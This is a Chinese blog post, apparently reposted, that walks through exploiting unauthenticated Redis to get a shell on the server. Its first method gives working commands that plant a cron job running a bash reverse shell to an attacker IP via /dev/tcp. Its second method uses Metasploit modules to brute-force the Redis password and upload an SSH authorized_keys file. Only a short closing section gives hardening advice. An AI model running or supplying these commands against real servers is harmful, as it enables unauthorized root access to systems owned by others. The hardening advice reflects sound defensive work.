首页 > 系统服务 > 详细

redis未授权访问漏洞利用获得shell

时间:2020-06-24 11:09:36      阅读:144      评论:0      收藏:0      [点我收藏+]

方法一、利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口:
nc -lvnp 7999
然后执行命令:
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/  #设置Redis的备份路径
OK
192.168.63.130:6379> config set dbfilename root #设置备份文件和文件名
OK
192.168.63.130:6379> save
nc监听端口已经反弹回来shell:
技术分享图片

 方法二、通过写公钥到服务器获得系统权限

这里用到的是msf里面的攻击模块,如下:

1.先用auxiliary/scanner/redis/redis_login   #该exp功能是对redis的密码进行枚举,如下:

技术分享图片

技术分享图片

2.使用auxiliary/scanner/redis/redis_server确认密码的可用性,如下:

技术分享图片

3.auxiliary/scanner/redis/file_upload   #该exp功能为上传本地的文件到目标服务器。

(1).先在本地生成公钥并保存到authorized_keys文件中,注意这里要在文件内容得前面和后面都加上\n\n\n才行。

技术分享图片

 (2).使用auxiliary/scanner/redis/file_upload模块进行上传authorized_keys文件

技术分享图片

 然后使用私钥登录目标服务器:

技术分享图片

 

安全修复建议:

1.在redis.conf配置文件中找到requirepass去掉前面的# 并在后面将foobared或者一个弱密码 改成高强度的密码,原因是redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础。

2.在设定了高强度密码的基础上还需要做访问限制,限制白名单内IP才能访问,如果项目可以最好设置只允许本地访问。

 

 

redis未授权访问漏洞利用获得shell

原文:https://www.cnblogs.com/xiehong/p/13186290.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!